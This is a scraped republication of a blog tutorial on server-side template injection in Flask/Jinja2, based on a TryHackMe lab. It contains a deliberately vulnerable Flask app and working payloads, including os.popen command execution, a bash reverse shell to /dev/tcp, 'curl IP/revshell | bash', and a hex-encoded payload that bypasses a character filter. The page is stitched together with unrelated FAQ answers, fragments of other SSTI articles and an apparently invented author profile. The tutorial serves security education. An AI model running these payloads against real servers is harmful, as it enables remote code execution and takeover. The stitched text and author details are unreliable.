A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (2022)

Flask, a lightweight Python web application framework, is one of my favorite and most-used tools. While it is great for building simple APIs and microservices, it can also be used for fully-fledged web applications relying on server-side rendering. To so, Flask depends on the powerful and popular Jinja2 templating engine.

I recently stumbled across Flask in the context of @toxicat0r’s new Temple room on TryHackMe. While the room also features some other interesting things, at its core, it is all about a Server-Side Template Injection (SSTI) attack.

While not as common as SQLi, LFI/RFI, or XSS, Server-Side Template Injection is a very interesting and dangerous attack vector that is often overlooked when developing web applications.

Fundamentally, SSTI is all about misusing the templating system and syntax to inject malicious payloads into templates. As these are rendered on the server, they provide a possible vector for remote code execution. For a more thorough introduction, definitely have a look at this great article by PortSwigger.

In this article, after an introduction to some fundamental technical concepts, we are going to look at an SSTI example using a simplified version of the Temple room.

Some Fundamentals: Flask, Jinja2, Python

Before going into the actual example, we will look at a few fundamentals. First, we will briefly look at Flask and Jinja2 before looking at how we can navigate through Python’s object inheritance tree.

Flask and Jinja2

Jinja2 is a powerful templating engine used in Flask. While it does many more things, it essentially allows us to write HTML templates with placeholders that are later dynamically populated by the application.

<div> <h1>Article</h1> {{ article_text }}</div>

In the example above, we can see a a straightforward Jinja2 template. When rendering the template, Jina2 will dynamically replace `` with the corresponding variable.

In Flask, this would be used as follows:

@app.route('/index')def index(): article = ... return render_template('article.html', article_text=article)

We assume that the template is stored in a file called article.html. When this route is called, {{ article_text }} will be replaced with article before sending the content to the user.

In a similar fashion, we could also use render_template_string(template) to use a template string instead of a file. This is what you will see below.

Also, it is important to realize that Jinja2 has a quite elaborate templating syntax. Instead of just placeholders, we can also have, for example, loops and conditions in these templates. Most importantly, however, the {{ }} placeholders have access to the actual objects passed via Flask. If we are, for example, passing a list example_list, we can use {{ example_list[0] }} as we would in our regular Python code.

Navigating Python Objects and Inheritance Trees

In Python, everything is an object! While this is a fundamental property and feature of the language, we are going to focus on one very particular thing one can do: navigating the inheritance tree of objects and, thus, classes.

In the following example, we are trying to read a file called test.txt using _io.FileIO. However, instead of just using regular function calls, we will start from a str object and work our way to the _io.FileIO class.

While this does not make any sense in (most) regular programming, we will leverage this capability later:

We start with a simple str object. For now, we are using abc, but it could be any arbitrary string:

(Video) Python SSTI: Attack Flask framework using Jinja2 template engine

Now we access its __class__:



Going further, we access its __base__:



Now, we can look at all __subclasses__ of object. This will get us a long list of available Python classes.


In this list, we are now looking for the _io._IOBase class, which, in this example, sits at index 96 of the __subclasses__:



We need to go further to find the _io._RawIOBase class. Hence, we are repeating the same process as above:


Repeating the same process again, we can get to the desired _io.FileIO:



Finally, we can use this class to construct a file object and read our file:

(Video) Server-Side Template Injections Explained

Do not let this confuse or discourage you! Ultimately, we are still working with a regular file object. However, instead of just using, for example, open(), we navigated to it starting from a str object.

You should also be aware that many SSTI tutorials and cheat sheets demonstrate this using __subclasses__()[40]. This does rarely work today as Python 3 is using the new io modules for file objects.

Also, keep in mind that there are many ways to get to the same destination. This was, for demonstration purposes, a very extensive example. Feel free to explore better (i.e., shorter) ways of getting the same result!

Especially if you are looking at other examples, you will also come across Python’s Method Resolution Order (MRO). While the MRO, especially looking at differences between old-style and new-style classes, is very interesting, we primarily care for __mro__ right now. As per the documentation, “[t]his attribute is a tuple of classes that are considered when looking for base classes during method resolution.”

Put simply, while __subclassess__ can be used to go down inherited objects, __mro__ allows us to go back up the inheritance tree.

Here’s an example to demonstrate the concept as clearly as possible:

class A(object): def __repr__(self): return 'A'class B_one(A): def __repr__(self): return 'B'class B_two(A): def __repr__(self): return 'B'class C(B_one): def __repr__(self): return 'B'
A.__subclasses__()=> [__main__.B_one, __main__.B_two]

A is inherited by both B_one and B_two.

C.__mro__=> (__main__.C, __main__.B_one, __main__.A, object)

C has inherited B and hence also, albeit indirectly, A.

Temple on TryHackMe

As I said above, the inspiration for this article stems from a recent (October 2021) TryHackMe room by @toxicat0r that explores, besides other things, an SSTI in a Flask application.

While this is definitely not a writeup for Temple, I want to use the room to motivate the following as it presents a rather realistic scenario.

After a quite challenging enumeration phase, one can find a Flask-based web application which ultimately leads to a foothold on the server.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (1)

In the application, there is an account page (see above) that displays some information about the current user. The actual vulnerability hides behind the Logged in as XXX field, which works by populating a Jinja2 template directly from a database.

For this example (see screenshot), an account was registered using {{6*7}} as the username. Instead of showing this as the username, the expression is rendered on the server and displayed as 42 in the application.

We are exploiting the fact that the template is rendered on the server by Jinja2. Using the templating syntax, we might be able to execute a malicious payload, instead of just a simple expression, during rendering.

Below you can see a stripped down, simplified version of the application present in Temple. While the SSTI is a key part of the challenge, this should not spoil the room completely.

(Video) Server Side Template Injection Understanding With Live Demo | Example | Attack | Payloads

from flask import Flask, abort, request, render_template_stringimport jinja2, re, hashlibapp = Flask(__name__)app.secret_key = b'SECRET_KEY'@app.route('/filter', methods=['GET'])def filter(): payload = request.args.get('payload') bad_chars = "'_#&;" if any(char in bad_chars for char in payload): abort(403) template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)@app.route('/no_filter', methods=['GET'])def no_filter(): payload = request.args.get('payload') template = ''' <!DOCTYPE html> <html> <head> <title>No Filter</title> </head> <body> <p>''' + payload + '''</p> </body> </html>''' return render_template_string(template)if __name__ == '__main__': app.run(host='', port=80, debug=False)

The actual room also features a character-based filter to prevent some characters (see bad_chars) from being used in payloads. This, while being relatively simplistic, is a common strategy to mitigate such attacks. In the following, we are going to explore how this vulnerability can be exploited and how we can bypass the filter.

Exploiting the SSTI

We are now going to use this example to demonstrate an actual SSTI attack. After a relatively simple PoC, we are going to read /etc/passwd and also gain a reverse shell.

Simple Proof-of-Concept

A trusted way of checking for SSTIs is to inject a simple expression which we expect to be executed/evaluated by the templating engine. To do so, we are using the {{ ... }} syntax native to Jinja2.

For example, as Jinja2 supports basic arithmetic expressions, we can test {{7*12}} as our payload:

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (2)

As we can see, the expression has been executed/evaluated, and we are seeing the result and not the initial payload.

This is also a nice example of how SSTI attacks fundamentally differ from XSS ones as the code is actually being executed on the server and not the client. That said, it is very easy to mistake SSTI for XSS if we are not using payloads for fuzzing that “change” after they are being evaluated by the templating engine.

Another, more useful, PoC is to read Flask’s config object like this:


It, for example, contains the application’s SECRET_KEY.

Traditional Exploitation

Unfortunately (?), we cannot directly execute (arbitrary) Python commands in a Jinja2 template. However, as seen above, we have access to some objects (e.g., config). Having access to these objects allows us to perform the trick we have learned above.


If we use the payload from above, we can read the /etc/passwd file as the code is being executed on the server by the templating engine. If you look closely, you will see that I have changed from 96 to 92 in order to reflect the new environment. In order to get there, you will have to first look at __base__.__subclasses__() and determine the correct index.

RCE Payload and Bypassing Filters

In a brilliant OnSecurity article, Gus Ralph presents a very clever RCE payload that leverages the fact that Flask/Jinja2 templates have the request object available to them.

Leveraging the same tricks, the following payload would execute id using Python’s os.popen():


In regular Python, we are just doing the following:

import osos.popen('id')
(Video) Server Side Template Injection - SSTI Vulnerability | Detailed Explanation and Practical🔥🔥[Hindi]

As we can see, the payload works, and we are seeing the output of id. For this example, I ran the application in a Kali VM.More importantly, this particular payload is not only relatively short, but we also do not need to find any specific index before running it.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (3)

Of course, we can now modify the payload to do something more interesting. Below, we are using the same basic payload to download a script (revshell) from our attacker VM and execute it using bash.

#!/bin/bashbash -c "bash -i >& /dev/tcp/IP/4000 0>&1"

(revshell is just a simple revers shell)

{{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}}

Bypassing Filters

If you remember, the actual Temple challenge featured a character-based filter which makes running such payloads quite a bit harder. More precisely, in our example, we cannot use any of these characters: '_#&;.

While we are going to look at this specific payload example, have a look at both HackTricks and PayloadsAllTheThings for a good overview of various bypassing strategies.

Alright! The modified payload, also heavily inspired by Gus Ralph, we are going to end up using will look like this:

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl IP:PORT/revshell | bash")|attr("read")()}}

This looks complicated! However, to bypass the filters, we are essentially only using two strategies: Leveraging the Jina2 attr() filter and hex encoding.

Let’s look at a sample portion of the payload: |attr("\x5f\x5fglobals\x5f\x5f").

The | indicates to Jija2 that we are applying a filter. The attr() filter “get[s] an attribute of an object”. As per the documentation, “foo|attr("bar") works like foo.bar.” \x5f is simply the hex representation of _.

A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example (4)

Combining these two strategies we can craft a payload that does not use any of the “forbidden” (i.e., bad/filtered) characters.

Above, you can see how the payload finally executes. First, revshell is downloaded from the Python http.server (attacker), and shortly after pwncat receives our new shell from the target. It’s also just quite satisfying to watch …


This article, very obviously, is not a thorough introduction to Server-Side Template Injection. However, I hope to have shown how this type of injection can easily become very dangerous. This is particularly problematic as many developers - me included - often focus on other more common types of injections.

Aside from the security implications, this is also a nice opportunity to experiment with Python and some of the awesome metaprogramming features it has to offer!

Finally, if you happen to be on TryHackMe, give Temple a go! It’s a challenging room that, aside from some almost frustrating enumeration, has quite a bit to offer!

(Video) Server-Side Template Injection w/ Flask | Flaskcards [34] picoCTF 2018

P.S. After trying to publish this post, I realized that my static site generator interpreted all of the {{ }} tags, and I had to go back escaping all of them. Way to go!


How do you use a Jinja2 Flask? ›

Flask leverages Jinja2 as its template engine. You are obviously free to use a different template engine, but you still have to install Jinja2 to run Flask itself. This requirement is necessary to enable rich extensions. An extension can depend on Jinja2 being present.

What is a server-side template? ›

Server-side templates allow developers to pre-populate a web page with custom user data directly on the server. After all, it is often faster to make all the requests within a server than to make extra browser-to-server roundtrips for them.

Where is a server-side template injection executed? ›

Server-side template injection occurs when user-controlled input is embedded into a server-side template, allowing users to inject template directives. This allows an attacker to inject malicious template directives and possibly execute arbitrary code on the affected server.

Does Jinja2 have Flask? ›

Flask comes packaged with Jinja2, and hence we just need to install Flask. For this series, I recommend using the development version of Flask, which includes much more stable command line support among many other features and improvements to Flask in general.

What is Jinja2 template in Flask? ›

Flask uses templates to expand the functionality of a web application while maintaining a simple and organized file structure. Templates are enabled using the Jinja2 template engine and allow data to be shared and processed before being turned in to content and sent back to the client.

What is Jinja2 template? ›

Jinja2 is a Python library that you can use to construct templates for various output formats from a core template text file. It can be used to create HTML templates for IBM® QRadar® applications.

How does template injection work? ›

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data.

What is client-side template injection? ›

Description: Client-side template injection

Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered, the framework will scan the page for template expressions, and execute any that it encounters.

What is Python template? ›

In python, template is a class of String module. It allows for data to change without having to edit the application. It can be modified with subclasses. Templates provide simpler string substitutions as described in PEP 292. Templates substitution is “$“-based substitutions, rather than “%“-based substitutions.

Can SSTI lead to RCE? ›

What is SSTI? Server-side template injection is a vulnerability where the attacker injects malicious input into a template to execute commands on the server-side. This vulnerability occurs when invalid user input is embedded into the template engine which can generally lead to remote code execution (RCE).

What are template engines used for? ›

A template engine enables you to use static template files in your application. At runtime, the template engine replaces variables in a template file with actual values, and transforms the template into an HTML file sent to the client. This approach makes it easier to design an HTML page.

Which of the following is a server-side templating software? ›

Some of the most commonly used server-side template engines are Jinja2 or Jinja, Freemaker, Mako, Velocity, Smarty, Tornado, Genshi, Twig, Mustache, etc.

What is Jinja2 template in Ansible? ›

Jinja2 templates are simple template files that store variables that can change from time to time. When Playbooks are executed, these variables get replaced by actual values defined in Ansible Playbooks. This way, templating offers an efficient and flexible solution to create or alter configuration file with ease.

What are Flask templates? ›

Templates are files that contain static data as well as placeholders for dynamic data. A template is rendered with specific data to produce a final document. Flask uses the Jinja template library to render templates. In your application, you will use templates to render HTML which will display in the user's browser.

Which three of the following filters are supported in Jinja2 templates? ›

In addition the ones provided by Jinja2, Ansible ships with it's own and allows users to add their own custom filters.
  • Filters For Formatting Data. ...
  • Set Theory Filters. ...
  • Random Number Filter. ...
  • Math. ...
  • Hashing filters. ...
  • Combining hashes/dictionaries. ...
  • Extracting values from containers. ...
  • Comment Filter.

How do you use jinja2 in Ansible? ›

On an ansible control node, write a jinja2 template file which can easily access the variables defined in the same directory or in playbook. Here, you can notice the value gets changed on the output. As {{ }} is also a syntax of jinja2 template, it can access the variable and change the value to the actual one.

How do you display dynamic data tables with Python Flask and jinja2? ›

How to display dynamic data tables with Python, Flask, and Jinja2

How do I render a Python template? ›

render_template is a Flask function from the flask. templating package. render_template is used to generate output from a template file based on the Jinja2 engine that is found in the application's templates folder. Note that render_template is typically imported directly from the flask package instead of from flask.

Which three features are included in the Jinja2 template? ›

  • sandboxed execution.
  • automatic HTML escaping to prevent cross-site scripting (XSS) attacks.
  • template inheritance.
  • compiles down to the optimal Python code just-in-time.
  • optional ahead-of-time template compilation.

Does Jinja2 work with Python 3? ›

Jinja2 works with Python 2.6. x, 2.7. x and >= 3.3. If you are using Python 3.2 you can use an older release of Jinja2 (2.6) as support for Python 3.2 was dropped in Jinja2 version 2.7.

What is Jinja template in airflow? ›

Templating in Airflow works exactly the same as templating with Jinja in Python: define your to-be-evaluated code between double curly braces, and the expression will be evaluated at runtime. As we saw in the previous code snippet, execution_date is a variable available at runtime.

What is HTML injection? ›

What is HTML Injection. HTML Injection also known as Cross Site Scripting. It is a security vulnerability that allows an attacker to inject HTML code into web pages that are viewed by other users.

What is command injection? ›

Command injection is a cyber attack that involves executing arbitrary commands on a host operating system (OS). Typically, the threat actor injects the commands by exploiting an application vulnerability, such as insufficient input validation.

What is uber template injection? ›

Template injection is a class of vulnerability that involves using template framework functionality in an unexpected way. These templating frameworks often have the ability to make system calls. In the event that untrusted user input is supplied to a template framework in a dangerous way, the result can be RCE.

What is Template injection in angular? ›

AngularJS client-side template injection vulnerabilities occur when user-input is dynamically embedded on a page where AngularJS client-side templating is used. By using curly braces it's possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application.

What is the templating engine being used within node JS? ›

EJS is one of the template engines used with Node JS to generate HTML markups with plain Javascript. EJS stands for Embedded JavaScript Templates.

What is XSS and how do you prevent it? ›

XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database. How do I prevent XSS in PHP? Filter your inputs with a whitelist of allowed characters and use type hints or type casting.

How do I use a template in flask? ›

html template file in a directory called templates inside your flask_app directory. Flask looks for templates in the templates directory, which is called templates , so the name is important. Make sure you're inside the flask_app directory and run the following command to create the templates directory: mkdir templates.

What is a template engine Python? ›

Template engines take in tokenized strings and produce rendered strings with values in place of the tokens as output. Templates are typically used as an intermediate format written by developers to programmatically produce one or more desired output formats, commonly HTML, XML or PDF.

Where can I write Python codes online? ›

Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast.

Are template engines Good? ›

Using template engines for complex front end rendering is bad and not a good practice.

Is templating engine necessary? ›

You need a template engine in order to interpolate data-bound values into your markup. They're still absolutely necessary with any non-static web application.

What is templating programming? ›

Template metaprogramming (TMP) is a metaprogramming technique in which templates are used by a compiler to generate temporary source code, which is merged by the compiler with the rest of the source code and then compiled.

Is Flask client-side or server-side? ›

From what I understand (I too just recently started learning web development) a web framework (like Flask and Django for Python or Rails for Ruby) is used to make the server-side scripting easier for the developer.

What are some commonly used client-side templating systems? ›

These templating options allow you to embed regular JavaScript code directly within the template, an approach similar to ERBs.
  • underscore.js.
  • Jade.
  • haml-js.
  • jQote2.
  • doT.
  • Stencil.
  • Parrot.
  • Eco.
Jan 17, 2012

What is a server-side web application? ›

Server-side scripts run on the server instead of the client, often in order to deliver dynamic content to webpages in response to user actions. Server-side scripts don't have to be written in JavaScript, since the server may support a variety of languages.

How Ansible is used in simple IT automation? ›

Ansible works by connecting to your nodes and pushing out small programs, called modules to them. Modules are used to accomplish automation tasks in Ansible. These programs are written to be resource models of the desired state of the system. Ansible then executes these modules and removes them when finished.

How do I use Ansible template module? ›

You can use Ansible facts, variables, and user-defined variables in your Jinja2 templates. On your Jinja2 template, you can print the value of a variable using the {{ variableName }} syntax. If the variable is an object, you can print individual object properties using the {{ objectVariable. propertyName }} syntax.

How do you write a Flask code in HTML? ›

Render HTML file in Flask
  1. First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
  2. Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.

How do you structure a Flask project? ›

Project Layout
  1. flaskr/ , a Python package containing your application code and files.
  2. tests/ , a directory containing test modules.
  3. venv/ , a Python virtual environment where Flask and other dependencies are installed.
  4. Installation files telling Python how to install your project.
  5. Version control config, such as git.

What is static and template in Flask? ›

Folder structure for a Flask app

That folder contains two folders, specifically named static and templates. The static folder contains assets used by the templates, including CSS files, JavaScript files, and images.

How do I set variables in Jinja2? ›

  1. Store value in a variable in jinja template for later use.
  2. Case statement for setting var in Ansible/Jinja2.
  3. Reference template variable within Jinja expression.
  4. Substring at flask template.

Which two delimiters are allowed in Jinja2 templates choose two? ›

There are different kinds of delimiters that are defined in Jinja2.
  • {% ... %} for conditions, expressions that will be evaluated.
  • {{ ... }} for values to print to the template output.
  • {# ... #} for comments not included in the template output.
  • # ... ## for line statements.
Mar 22, 2019

What is Jinja file extension? ›

A Jinja template doesn't need to have a specific extension: . html, . xml, or any other extension is just fine.

How do you escape jinja2? ›

To escape jinja2 syntax in a jinja2 template with Python Flask, we can put render the template code without interpretation by putting the code in the {% raw %} block.

How do I render a template in Flask? ›

Make sure you have activated your environment and have Flask installed, and then you can start building your application. The first step is to display a message that greets visitors on the index page. You'll use Flask's render_template() helper function to serve an HTML template as the response.

How do I render a page in Flask? ›

Render HTML file in Flask
  1. First, create a new folder in the project directory called templates. Create a new file in the templates folder naming “home. html”. Copy/paste this simple code. ...
  2. Now open app.py and add the following code. from flask import Flask, render_template. app = Flask(__name__) @app.

How do you Flask an app? ›

How to set up your Python and Flask development environment
  1. Choose a Python version. ...
  2. Install a text editor or IDE. ...
  3. Start a new project with virtualenv. ...
  4. Install Flask and the Twilio Python SDK. ...
  5. Create a simple Flask application. ...
  6. The Django Alternative. ...
  7. Install ngrok.
Sep 24, 2021

What is interesting in SSTI In Flask. The config object is a Flask template global that represents “The current configuration object (flask.config).” It is a dictionary-like object that contains all of the configuration values for the application.. The from_object method then adds all attributes of the newly loaded module whose variable name is all uppercase to the config object.. The interesting thing about this is that attributes added to the config object maintain their type, which means functions added to the config object can be called from the template context via the config object.. Yes, this gives us access to every class loaded in the current python environment.. Then, we can use the __mro__ attribute to access the object’s inherited classes.. Inject {{ ‘’.__class__.__mro__ }} as a payload into the SSTI vulnerability.. Since we want to go back to the root object class, we’ll leverage an index of 1 to select the class type object .. Inject {{ ‘’.__class__.__mro__[1].__subclasses__() }} into the SSTI vulnerability.

The other method I know of to make the “render_template_string()” function detect the start and end of a template is by using {% %} .. For this I made a simple if statement that can return True or False, regardless.. This basically tells the template to use the request object, and then builds the attribute we want to request from the request object (__class__) using arguments that are passed outside of the GET parameter that will be checked by the waf.. This means that if a WAF blocks characters that are only common in filenames, or commands, and not in the SSTI payload itself, you can use these to encode the string and bypass the WAF.. A list of all possible filters can be found in the Flask documentation ( https://jinja.palletsprojects.com/en/2.11.x/templates/#builtin-filters) .

Note that there are other methods to identify more template engines.. There are several sources from which objects end up in the template context.. config , the current configuration object request , the current request object session , the current session object g , the request-bound object for global variables.. If you want to explore in major details their globals, here are the links to the API docs: Flask and Jinja .. The request.environ object is a dictionary of objects related to the server environment.. So we need an object which has a class inherited from object.. This injection will do the trick:. Generic blacklist evasion Using the |join filter will concatenate a list of strings.. The function returns a list of all parameters with a given name.. There is another method to concatenate strings and with the |format filter.. The %s identifiers will be replaced with the passed string:. Tplmap is a tool by @epinna , which assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.. It can exploit several code context and blind injection scenarios.. Shrine challenge, TokyoWesterns CTF 2018 Link Exploring SSTI in Flask/Jinja2 Part 1 / Part 2 Server-Side Template Injection: RCE for the modern webapp, J. Kettle PDF Link Jinja2 template injection filter bypasses, S. Neef Link

If you’ve never heard of Server-Side Template Injection (SSTI) or aren’t exactly sure what it is, then read this article by James Kettle before continuing.. We are mostly concerned about items #1 and #2 because these are universal defaults, providing reasonable expectation that they will be available anywhere we find SSTI in an application using the Flask/Jinja2 stack.. The config object is a Flask template global that represents “The current configuration object (flask.config).” It is a dictionary-like object that contains all of the configuration values for the application.. Objects are usually either modules or classes.. :return: imported object"""# force the import name to automatically convert to strings# __import__ is not able to handle unicode strings in the fromlist# if the module is a packageimport_name=str(import_name).replace(':','.')try:try:__import__(import_name)exceptImportError:if'.. ',1)try:module=__import__(module_name,None,None,[obj_name])exceptImportError:# support importing modules not yet set up by the parent module# (or package for that matter)module=import_string(module_name). The interesting thing about this is that attributes added to the config object maintain their type, which means functions added to the config object can be called from the template context via the config object.. [{module}] {config key} => {config value}

Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data.. Server-side template injection vulnerabilities arise when user input is concatenated into templates rather than being passed in as data.. $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); This is not vulnerable to server-side template injection because the user's first name is merely passed into the template as data.. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the name parameter as follows:. Even if fuzzing did suggest a template injection vulnerability, you still need to identify its context in order to exploit it.. Code context In other cases, the vulnerability is exposed by user input being placed within a template expression, as we saw earlier with our email example.. One method of testing for server-side template injection in this context is to first establish that the parameter doesn't contain a direct XSS vulnerability by injecting arbitrary HTML into the value:. Hello Carlos Once you have detected the template injection potential, the next step is to identify the template engine.. As a result, it can be relatively simple to create probing payloads to test which template engine is being used.. After detecting that a potential vulnerability exists and successfully identifying the template engine, you can begin trying to find ways of exploiting it.

My initial goal was to find a path to file or operating system access.. Things native to all Flask applications.. In the previous article, we had to add some functionality to the vulnerability in order to conduct introspection.. The first thing we want to do is is select a new-style object to use for accessing the object base class.. Then, we can use the __mro__ attribute to access the object’s inherited classes.. Since we want go back to the root object class, we’ll leverage an index of 2 to select the class type object .. While open is the builtin function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object, then we can use methods like read to extract the contents.. The previous article referenced several methods of the config object that load objects into the Flask configuration environment.. Below is the code for the from_pyfile method of the Config class, flask/config.py .

Essentially, Jinja2 templating is pretty powerful and allows even complex expressions to be run, resulting in server-side template injection (SSTI).. For example, the following expression rendered in Flask/Jinja2 on an HTML template will run the ls -a command on the server and render the results of this command on the screen.. The main issue is that there is some untrusted input/data that is rendering through the template, so one solution would be to simply not allow users to create these custom templates.. I will be detailing my thought process and solution to the Hack the Box (HTB) web challenge: Templated, which examines the SSTI to RCE vulnerability.. At this point, it seemed that the solution was most likely one of two things, either a Cross-Site Scripting Attack (XSS) or a Server-Side Template Injection (SSTI) exploit.. SSTI is a form of injection in which “templates” (which are rendered on the ‘Server-Side,” meaning they are processed on the server) handle user input in an unsafe manner, leading to some form of remote control execution (RCE).. Injected HTML DOM elementsAs seen in the screenshot above, it’s clear that the template string will be displayed literally as HTML, so I was able to add a small tag to make the contents afterward bolded.. XSS with script tag not working Server-Side Template Injection (SSTI) was the next option to try for me.. The full Python documentation is In our case, we want to use the OS module to search through the server and find the file containing the flag.. Config files for Flask app printedThen, in order to access the built-in modules for OS, I used the request object to search for it, using: ‘ {{request.application.__globals__.__builtins__.__import__(‘os’).popen(‘CMD’).read()}} ’ as the template, where CMD is the terminal command to run of choice (if you’re unsure of what each thing means, then just start from the request object, and add one by one .application , .__globals__ , and so on).. using `ls` on the serverWe see that flag.txt is a file, and in order to read the content, you simply replace the ls CMD with cat flag.txt (search ‘man cat’ to read more about ‘cat’).

Template injection is a class of vulnerabilities that are commonly found in web applications.. In the following blog, we will cover Template Injection vulnerabilities and include an example of how Custom Rules can be configured and used to prevent such web application attacks.. CSTI vulnerable application snippetThis route (/csti) is vulnerable to Client-Side Template Injection, in line 50 you can see that the “username” parameter is being concatenated to the “app” container.. SSTI vulnerable application snippetThis route (/ssti) is vulnerable to Server-Side Template Injection, on line 24, the parameter “username” is concatenated to the string that is about to be rendered and presented to the user.. Client-Side Template Injection Finding the vulnerability. If the page is vulnerable to template injection and parses the input we send as a GET parameter, we will be greeted with “Hello 64”.. Upon sending the payload we are greeted with “Hello 64” thus verifying that the parameter “username” is vulnerable to CSTI.. Thus, trying to input some simple payloads we might see that this is the case, but by exploiting the CSTI we can pop an alert on this page.. The following payload “{{_createElementBlock}}” disclosed the “_createElementBlock” function’s code.. XSS vulnerability introduced through CSTI Server-Side Template Injection Finding the vulnerability. SSTI vulnerable routeAgain, we can see that the username is being reflected within the page, we should check if the username parameter is vulnerable to SSTI in the same manner as previously with the CSTI by injecting “{{8*8}}”.. String manipulation using SSTI and Python .split() functionNow that we have verified the vulnerability, let’s understand how we can further escalate this exploit into a full-blown remote code execution attack.. First, we must set up an app policy for WAAS to protect the web application.

In this paper, I present a general approach to solve this problem by exploring python modules and python objects to find paths to high value targets, such as the os module or built-in functions.. I will then use this technique to create the shortest payloads to access the os module in Python’s jinja2 template engine.. When an attacker finds a Server Side Template Injection, he will try to inject template code to exploit the template engine to gain access to the underlying machine and achieve Remote Code Execution (RCE).. We can list all of the attributes (functions, internal functions, variables) of a Python object through the dir() function.. Therefore, all we need to access os from the TemplateReference object is to access the global variables of one of the classes Cycler, Joiner, Namespace.. We now have three context-free payloads that can be used to access the os module from the jinja2 module.. These payloads gives us a new, quicker way to access to the os module in Server Side Template Injection attacks.. To construct these payloads, we explored the python object tree from the TemplateReference object declared within jinja2 templates as {{ self }} .. This object holds all the variables declared inside the template, therefore we could simplify our payloads by removing the self._TemplateReference__context as we can access directly to joiner , cycler or namespace from within the template!. In Server Side Template Injection (SSTI) vulnerabilities, we can inject template code in the web application, which will then be reflected in the template and executed inside the application context.. In order to find generic ways to access the os module, we studied how Python objects and internal functions work in order to design an algorithm capable of exploring Python objects looking for modules, without falling into cyclic traps.


1. Server Side Template Injection (SSTI): All-in-One
2. web hacking: python Jinja2 SSTI vulnerability and code execution
(Kandy Phan)
3. hacking RCE & SSTI remote code execution and server side template injection vulnerabilities of Flask
(Code Monkey King)
4. SSTI (Server Side Template Injection)
(Sam Bowne)
5. How to get SSH private-key in webserver for using SSTI (Server Side Template Injection) in Flask
(0x66 Security)
6. Basic server side template injection (Video solution)
(Michael Sommer)

You might also like

Latest Posts

Article information

Author: Stevie Stamm

Last Updated: 05/14/2022

Views: 5559

Rating: 5 / 5 (80 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Stevie Stamm

Birthday: 1996-06-22

Address: Apt. 419 4200 Sipes Estate, East Delmerview, WY 05617

Phone: +342332224300

Job: Future Advertising Analyst

Hobby: Leather crafting, Puzzles, Leather crafting, scrapbook, Urban exploration, Cabaret, Skateboarding

Introduction: My name is Stevie Stamm, I am a colorful, sparkling, splendid, vast, open, hilarious, tender person who loves writing and wants to share my knowledge and understanding with you.